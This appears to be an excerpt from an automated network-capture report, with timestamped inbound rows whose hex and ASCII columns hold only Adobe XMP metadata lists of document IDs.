2022-07-20 13:44:17 UTC	3447	IN	Data Raw: 46 33 39 32 34 44 45 31 31 31 38 46 45 42 44 33 34 39 43 39 32 36 38 45 36 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 37 45 32 41 39 41 41 36 42 32 30 36 38 31 31 38 38 43 36 41 33 30 33 41 37 32 37 33 32 46 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 37 62 35 63 33 34 30 2d 38 39 32 35 2d 61 32 34 37 2d 39 31 61 32 2d 62 32 31 63 39 35 64 34 63 66 62 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 37 64 39 66 62 38 38 2d 36 64 39 65 2d 34 37 63 66 2d 61 33 37 30 2d 38 38 31 63 38 36 33 34 65 63 62 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 37 65 30 63 31 32 62 2d 62 35 66 34 2d 34 62 30 64 2d 61 63 Data Ascii: F3924DE1118FEBD349C9268E6E</rdf:li> <rdf:li>xmp.did:07E2A9AA6B20681188C6A303A72732FA</rdf:li> <rdf:li>xmp.did:07b5c340-8925-a247-91a2-b21c95d4cfbb</rdf:li> <rdf:li>xmp.did:07d9fb88-6d9e-47cf-a370-881c8634ecb5</rdf:li> <rdf:li>xmp.did:07e0c12b-b5f4-4b0d-ac
2022-07-20 13:44:17 UTC	3463	IN	Data Raw: 34 39 63 62 31 63 37 61 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 31 39 35 30 66 34 2d 65 62 31 35 2d 64 37 34 66 2d 38 38 64 39 2d 38 38 61 61 65 66 37 32 61 32 63 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 32 62 34 39 36 39 2d 38 38 39 35 2d 31 39 34 64 2d 61 35 63 32 2d 35 66 34 30 66 32 32 38 33 30 37 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 33 37 34 31 43 45 37 32 32 32 36 38 31 31 38 44 42 42 45 41 45 30 45 45 35 42 30 30 38 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 33 37 45 32 46 46 30 44 32 30 36 38 31 31 38 33 44 31 41 46 37 41 30 30 46 33 36 39 33 33 3c 2f 72 64 66 3a Data Ascii: 49cb1c7ae</rdf:li> <rdf:li>xmp.did:131950f4-eb15-d74f-88d9-88aaef72a2c0</rdf:li> <rdf:li>xmp.did:132b4969-8895-194d-a5c2-5f40f2283076</rdf:li> <rdf:li>xmp.did:133741CE722268118DBBEAE0EE5B008A</rdf:li> <rdf:li>xmp.did:1337E2FF0D20681183D1AF7A00F36933</rdf:
2022-07-20 13:44:17 UTC	3479	IN	Data Raw: 38 38 61 39 2d 33 62 38 31 64 32 33 61 62 63 64 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 36 38 42 39 34 31 42 35 32 35 36 38 31 31 38 32 32 41 46 44 38 45 36 43 42 44 39 38 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 37 41 36 36 38 39 34 41 32 30 36 38 31 31 38 32 32 41 46 44 41 35 36 35 38 46 31 31 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 38 31 33 30 44 42 33 38 32 30 36 38 31 31 39 35 46 45 44 34 46 36 37 44 46 30 44 38 45 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 38 37 43 39 46 45 32 46 32 30 36 38 31 31 39 41 38 32 46 45 32 41 43 42 43 35 37 34 33 36 3c 2f 72 64 66 3a Data Ascii: 88a9-3b81d23abcdf</rdf:li> <rdf:li>xmp.did:2368B941B5256811822AFD8E6CBD98C8</rdf:li> <rdf:li>xmp.did:237A66894A206811822AFDA5658F115D</rdf:li> <rdf:li>xmp.did:238130DB3820681195FED4F67DF0D8E8</rdf:li> <rdf:li>xmp.did:2387C9FE2F2068119A82FE2ACBC57436</rdf:
2022-07-20 13:44:18 UTC	5550	IN	Data Raw: 44 39 44 45 31 31 31 41 44 44 32 39 42 36 38 34 45 34 35 45 35 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 41 41 35 42 39 30 39 38 38 34 43 31 31 45 31 39 45 33 37 46 32 43 37 46 44 36 37 39 38 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 41 44 42 34 34 36 33 31 42 32 30 36 38 31 31 41 36 31 33 44 42 32 36 39 46 45 46 35 32 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 41 45 46 37 42 38 45 32 31 32 30 36 38 31 31 38 30 38 33 46 31 44 34 33 45 41 39 37 31 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 42 34 34 30 43 37 46 30 37 32 30 36 38 31 31 38 30 38 33 39 43 38 46 41 37 33 37 39 36 34 32 Data Ascii: D9DE111ADD29B684E45E581</rdf:li> <rdf:li>xmp.did:2AA5B909884C11E19E37F2C7FD67985A</rdf:li> <rdf:li>xmp.did:2ADB44631B206811A613DB269FEF524D</rdf:li> <rdf:li>xmp.did:2AEF7B8E212068118083F1D43EA9712B</rdf:li> <rdf:li>xmp.did:2B440C7F0720681180839C8FA7379642
2022-07-20 13:44:18 UTC	5566	IN	Data Raw: 31 42 37 35 42 41 39 35 30 34 31 39 32 39 38 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 38 43 31 39 38 33 45 43 45 32 31 36 38 31 31 39 35 46 45 44 33 33 42 46 43 34 32 30 43 42 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 38 45 34 45 31 32 31 32 30 33 34 31 31 45 35 38 45 42 38 46 41 45 37 33 35 38 33 35 45 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 38 45 36 46 43 39 34 33 36 32 30 36 38 31 31 41 46 46 44 38 36 43 31 32 37 44 41 30 35 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 38 63 39 34 62 62 34 2d 61 63 33 36 2d 34 31 63 61 2d 38 32 37 66 2d 61 61 35 34 30 36 63 33 62 64 39 37 3c 2f Data Ascii: 1B75BA950419298B8</rdf:li> <rdf:li>xmp.did:38C1983ECE21681195FED33BFC420CB1</rdf:li> <rdf:li>xmp.did:38E4E121203411E58EB8FAE735835ECD</rdf:li> <rdf:li>xmp.did:38E6FC9436206811AFFD86C127DA0516</rdf:li> <rdf:li>xmp.did:38c94bb4-ac36-41ca-827f-aa5406c3bd97</
2022-07-20 13:44:18 UTC	5582	IN	Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 42 35 39 31 36 41 35 42 32 36 36 38 31 31 38 33 44 31 41 46 37 41 30 30 46 33 36 39 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 43 31 44 43 39 35 39 38 32 30 36 38 31 31 38 30 38 33 41 32 42 36 43 32 38 33 31 33 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 46 35 42 30 33 34 31 46 32 34 36 38 31 31 38 46 36 32 41 34 43 37 41 45 46 39 33 35 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 64 30 34 65 36 39 2d 61 61 37 65 2d 34 36 63 64 2d 38 30 62 34 2d 65 37 35 64 38 63 35 65 38 64 65 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d Data Ascii: /rdf:li> <rdf:li>xmp.did:47B5916A5B26681183D1AF7A00F36933</rdf:li> <rdf:li>xmp.did:47C1DC95982068118083A2B6C28313CA</rdf:li> <rdf:li>xmp.did:47F5B0341F2468118F62A4C7AEF93527</rdf:li> <rdf:li>xmp.did:47d04e69-aa7e-46cd-80b4-e75d8c5e8de6</rdf:li> <rdf:li>xm
2022-07-20 13:44:18 UTC	5590	IN	Data Raw: 38 35 38 65 34 64 61 34 66 31 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 66 35 62 62 35 61 62 2d 64 36 38 32 2d 66 34 34 32 2d 61 34 37 34 2d 64 37 63 35 39 39 37 64 34 63 65 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 66 38 38 32 30 65 62 2d 61 31 39 61 2d 34 64 64 61 2d 39 32 31 39 2d 35 38 65 64 66 33 65 38 36 61 35 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 66 39 64 61 62 36 36 2d 30 35 39 65 2d 65 62 34 63 2d 38 34 30 37 2d 66 38 32 62 64 66 63 62 63 30 61 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 66 62 34 31 37 34 65 2d 38 39 64 64 2d 34 63 66 61 2d 62 37 30 62 2d 38 37 63 63 36 32 39 Data Ascii: 858e4da4f143</rdf:li> <rdf:li>xmp.did:4f5bb5ab-d682-f442-a474-d7c5997d4ce8</rdf:li> <rdf:li>xmp.did:4f8820eb-a19a-4dda-9219-58edf3e86a5c</rdf:li> <rdf:li>xmp.did:4f9dab66-059e-eb4c-8407-f82bdfcbc0a4</rdf:li> <rdf:li>xmp.did:4fb4174e-89dd-4cfa-b70b-87cc629
2022-07-20 13:44:18 UTC	5606	IN	Data Raw: 31 36 63 62 39 62 38 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 63 65 36 62 37 32 66 2d 37 37 63 63 2d 35 62 34 39 2d 38 30 34 64 2d 30 39 31 30 32 64 36 66 64 30 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 64 33 36 63 36 36 65 2d 64 64 36 30 2d 34 31 34 66 2d 61 39 32 30 2d 30 63 65 33 32 66 32 31 31 61 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 64 36 65 63 34 38 34 2d 30 33 39 33 2d 30 37 34 33 2d 38 61 38 64 2d 34 33 36 39 62 30 32 31 36 64 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 64 38 32 33 62 38 38 2d 38 37 63 35 2d 34 37 64 33 2d 62 65 38 61 2d 66 34 31 64 63 32 63 66 37 63 36 Data Ascii: 16cb9b8e</rdf:li> <rdf:li>xmp.did:5ce6b72f-77cc-5b49-804d-09102d6fd012</rdf:li> <rdf:li>xmp.did:5d36c66e-dd60-414f-a920-0ce32f211a34</rdf:li> <rdf:li>xmp.did:5d6ec484-0393-0743-8a8d-4369b0216d71</rdf:li> <rdf:li>xmp.did:5d823b88-87c5-47d3-be8a-f41dc2cf7c6
2022-07-20 13:44:18 UTC	5622	IN	Data Raw: 78 6d 70 2e 64 69 64 3a 36 45 46 38 45 33 41 30 39 45 32 30 36 38 31 31 41 45 35 36 43 30 39 31 35 42 33 42 43 44 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 45 46 45 39 42 46 35 44 34 32 30 36 38 31 31 38 43 31 34 41 33 36 45 35 36 36 45 31 32 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 46 31 41 33 37 31 44 37 39 31 45 45 36 31 31 42 44 38 38 42 44 38 31 43 42 30 38 39 38 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 46 34 46 38 34 32 46 30 39 32 31 36 38 31 31 41 46 46 44 44 33 32 32 36 30 41 42 33 42 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 46 36 30 37 43 43 45 31 39 32 30 36 38 31 Data Ascii: xmp.did:6EF8E3A09E206811AE56C0915B3BCD41</rdf:li> <rdf:li>xmp.did:6EFE9BF5D42068118C14A36E566E12DA</rdf:li> <rdf:li>xmp.did:6F1A371D791EE611BD88BD81CB08980D</rdf:li> <rdf:li>xmp.did:6F4F842F09216811AFFDD32260AB3BBC</rdf:li> <rdf:li>xmp.did:6F607CCE1920681
2022-07-20 13:44:18 UTC	5630	IN	Data Raw: 70 2e 64 69 64 3a 37 34 43 39 46 38 36 33 35 38 37 39 45 34 31 31 42 41 37 42 46 44 34 37 36 35 30 35 38 34 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 43 41 37 36 33 34 31 45 30 43 45 34 31 31 39 37 46 32 38 33 44 45 41 39 46 42 44 39 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 46 31 35 36 45 41 31 42 32 33 36 38 31 31 41 35 35 46 43 37 34 43 33 35 43 39 37 31 43 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 61 31 34 66 33 37 2d 33 65 62 36 2d 34 39 37 61 2d 38 61 34 32 2d 37 37 33 32 64 35 39 36 61 64 63 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 61 66 34 61 66 38 2d 62 37 35 32 Data Ascii: p.did:74C9F8635879E411BA7BFD476505848B</rdf:li> <rdf:li>xmp.did:74CA76341E0CE41197F283DEA9FBD9D1</rdf:li> <rdf:li>xmp.did:74F156EA1B236811A55FC74C35C971C2</rdf:li> <rdf:li>xmp.did:74a14f37-3eb6-497a-8a42-7732d596adc3</rdf:li> <rdf:li>xmp.did:74af4af8-b752
2022-07-20 13:44:18 UTC	5646	IN	Data Raw: 66 32 35 2d 63 38 34 30 2d 62 61 31 66 2d 61 66 38 35 65 35 32 35 30 66 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 34 66 63 61 65 39 35 2d 37 36 30 35 2d 61 61 34 63 2d 61 65 35 63 2d 65 61 65 39 62 66 66 30 63 33 39 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 30 32 35 30 30 38 2d 37 39 30 37 2d 34 35 66 38 2d 39 32 63 38 2d 35 65 36 38 37 36 38 31 36 37 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 30 32 45 34 38 37 34 44 32 30 36 38 31 31 41 37 42 41 41 39 46 39 34 38 41 33 39 46 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 30 42 32 44 44 45 46 44 39 44 45 31 31 31 41 44 44 32 39 Data Ascii: f25-c840-ba1f-af85e5250f31</rdf:li> <rdf:li>xmp.did:84fcae95-7605-aa4c-ae5c-eae9bff0c39d</rdf:li> <rdf:li>xmp.did:85025008-7907-45f8-92c8-5e6876816709</rdf:li> <rdf:li>xmp.did:8502E4874D206811A7BAA9F948A39F42</rdf:li> <rdf:li>xmp.did:850B2DDEFD9DE111ADD29
2022-07-20 13:44:18 UTC	5662	IN	Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 32 31 33 34 41 33 35 32 44 32 30 36 38 31 31 38 41 36 44 44 34 36 44 41 30 43 41 31 30 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 32 31 38 36 45 43 38 35 32 30 36 45 37 31 31 41 37 41 46 45 32 37 42 45 37 34 31 38 38 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 32 32 31 45 45 30 31 44 44 46 41 45 34 31 31 38 45 36 34 46 32 30 31 45 30 30 45 45 43 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 32 32 33 32 35 32 37 30 39 32 30 36 38 31 31 38 41 36 44 43 36 33 38 46 39 46 43 39 35 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 32 Data Ascii: :li> <rdf:li>xmp.did:92134A352D2068118A6DD46DA0CA10CF</rdf:li> <rdf:li>xmp.did:92186EC85206E711A7AFE27BE74188FE</rdf:li> <rdf:li>xmp.did:9221EE01DDFAE4118E64F201E00EEC2A</rdf:li> <rdf:li>xmp.did:92232527092068118A6DC638F9FC95EE</rdf:li> <rdf:li>xmp.did:92
2022-07-20 13:44:18 UTC	5669	IN	Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 39 34 35 35 41 38 37 31 34 32 30 36 38 31 31 39 37 41 35 38 34 46 38 33 39 32 37 42 33 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 39 37 33 31 34 45 30 35 44 36 31 45 35 31 31 38 37 45 36 42 37 32 31 43 44 33 35 32 43 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 39 37 33 35 43 32 33 38 38 32 46 45 34 31 31 38 37 44 41 46 38 37 30 45 39 30 42 45 46 44 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 39 38 36 30 32 33 62 2d 39 61 62 65 2d 34 30 31 61 2d 62 32 63 34 2d 30 65 65 39 34 36 63 65 61 65 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d Data Ascii: /rdf:li> <rdf:li>xmp.did:99455A871420681197A584F83927B384</rdf:li> <rdf:li>xmp.did:997314E05D61E51187E6B721CD352C7A</rdf:li> <rdf:li>xmp.did:99735C23882FE41187DAF870E90BEFD2</rdf:li> <rdf:li>xmp.did:9986023b-9abe-401a-b2c4-0ee946ceae42</rdf:li> <rdf:li>xm
2022-07-20 13:44:18 UTC	5685	IN	Data Raw: 31 41 36 31 33 44 42 32 36 39 46 45 46 35 32 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 43 42 33 38 30 30 32 41 34 35 44 45 33 31 31 38 31 45 36 45 42 46 38 33 38 32 41 38 41 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 43 42 36 39 31 36 36 33 45 32 30 36 38 31 31 42 41 41 43 39 46 38 38 39 42 35 38 43 44 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 44 30 34 46 37 45 34 43 43 32 31 36 38 31 31 38 32 32 41 46 41 39 46 46 36 39 34 33 34 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 44 30 37 45 30 43 42 46 44 39 44 45 31 31 31 41 44 44 32 39 42 36 38 34 45 34 35 45 35 38 31 3c 2f 72 64 66 3a Data Ascii: 1A613DB269FEF524D</rdf:li> <rdf:li>xmp.did:ACB38002A45DE31181E6EBF8382A8AFE</rdf:li> <rdf:li>xmp.did:ACB691663E206811BAAC9F889B58CD3E</rdf:li> <rdf:li>xmp.did:AD04F7E4CC216811822AFA9FF6943483</rdf:li> <rdf:li>xmp.did:AD07E0CBFD9DE111ADD29B684E45E581</rdf:
2022-07-20 13:44:18 UTC	5701	IN	Data Raw: 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 35 38 41 39 39 33 30 41 30 38 31 31 45 35 38 41 45 45 44 31 36 39 33 36 32 45 33 32 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 36 36 41 39 39 41 41 32 32 39 36 38 31 31 38 32 32 41 46 42 45 42 33 36 42 33 44 30 39 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 37 36 31 30 33 33 31 36 32 30 36 38 31 31 42 36 39 39 41 31 38 45 37 30 33 34 41 44 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 38 32 41 35 38 45 33 44 41 43 45 34 31 31 38 36 34 45 46 43 34 44 32 45 38 41 37 37 38 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 39 32 42 41 38 44 Data Ascii: rdf:li>xmp.did:C658A9930A0811E58AEED169362E32DF</rdf:li> <rdf:li>xmp.did:C666A99AA2296811822AFBEB36B3D090</rdf:li> <rdf:li>xmp.did:C676103316206811B699A18E7034AD98</rdf:li> <rdf:li>xmp.did:C682A58E3DACE411864EFC4D2E8A7785</rdf:li> <rdf:li>xmp.did:C692BA8D
2022-07-20 13:44:18 UTC	5709	IN	Data Raw: 3e 78 6d 70 2e 64 69 64 3a 44 31 33 41 41 45 35 46 43 46 37 30 45 37 31 31 42 36 35 31 45 35 46 46 36 34 45 45 33 32 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 31 35 34 33 34 41 30 30 39 32 30 36 38 31 31 38 30 38 33 38 43 33 30 35 44 43 41 39 45 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 31 35 38 46 36 37 38 43 44 45 38 45 30 31 31 38 45 30 45 46 44 39 45 46 41 39 31 35 44 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 31 36 38 36 31 39 45 32 32 36 31 31 31 36 38 42 36 32 38 41 31 39 44 43 46 39 45 46 46 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 31 38 35 44 46 42 41 37 38 32 30 36 38 Data Ascii: >xmp.did:D13AAE5FCF70E711B651E5FF64EE3282</rdf:li> <rdf:li>xmp.did:D15434A00920681180838C305DCA9E89</rdf:li> <rdf:li>xmp.did:D158F678CDE8E0118E0EFD9EFA915D83</rdf:li> <rdf:li>xmp.did:D168619E22611168B628A19DCF9EFFD4</rdf:li> <rdf:li>xmp.did:D185DFBA782068
2022-07-20 13:44:18 UTC	5725	IN	Data Raw: 64 3a 45 36 34 36 30 32 33 37 46 46 45 34 45 30 31 31 42 37 34 33 39 42 36 38 41 30 31 31 33 38 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 36 34 41 43 38 44 37 30 44 45 31 44 45 31 31 39 33 43 37 38 41 33 37 37 46 33 30 38 31 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 36 35 44 32 42 41 46 39 37 32 30 36 38 31 31 38 46 36 32 38 34 35 32 38 35 44 33 33 43 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 36 36 36 46 39 46 32 46 35 33 32 45 31 31 31 39 35 39 35 41 31 44 44 35 31 36 42 30 42 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 36 36 38 37 39 31 37 31 31 32 30 36 38 31 31 38 32 32 41 45 Data Ascii: d:E6460237FFE4E011B7439B68A01138EA</rdf:li> <rdf:li>xmp.did:E64AC8D70DE1DE1193C78A377F30813B</rdf:li> <rdf:li>xmp.did:E65D2BAF972068118F62845285D33C56</rdf:li> <rdf:li>xmp.did:E666F9F2F532E1119595A1DD516B0B08</rdf:li> <rdf:li>xmp.did:E668791711206811822AE
2022-07-20 13:44:18 UTC	5741	IN	Data Raw: 37 35 30 35 45 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 39 46 38 41 34 34 33 32 34 41 45 33 39 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 41 34 38 30 39 31 46 31 36 37 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 43 41 46 46 41 38 31 44 33 34 33 45 44 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 44 45 35 39 33 45 35 32 30 38 41 42 30 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 Data Ascii: 7505E2</rdf:li> <rdf:li>xmp.did:F77F117407206811A9F8A44324AE3979</rdf:li> <rdf:li>xmp.did:F77F117407206811AB08A48091F1675E</rdf:li> <rdf:li>xmp.did:F77F117407206811ACAFFA81D343EDA5</rdf:li> <rdf:li>xmp.did:F77F117407206811ADE593E5208AB01B</rdf:li> <rdf:li
2022-07-20 13:44:18 UTC	5746	IN	Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 38 43 36 46 43 34 30 32 33 34 31 36 32 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 39 30 35 43 44 42 31 31 35 43 44 41 44 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 38 33 37 32 43 39 41 37 46 36 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 42 32 32 46 31 43 41 44 41 37 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 Data Ascii: li> <rdf:li>xmp.did:F97F11740720681188C6FC4023416217</rdf:li> <rdf:li>xmp.did:F97F1174072068118905CDB115CDADF5</rdf:li> <rdf:li>xmp.did:F97F1174072068118A6D8372C9A7F6EA</rdf:li> <rdf:li>xmp.did:F97F1174072068118A6DB22F1CADA7F5</rdf:li> <rdf:li>xmp.did:F97
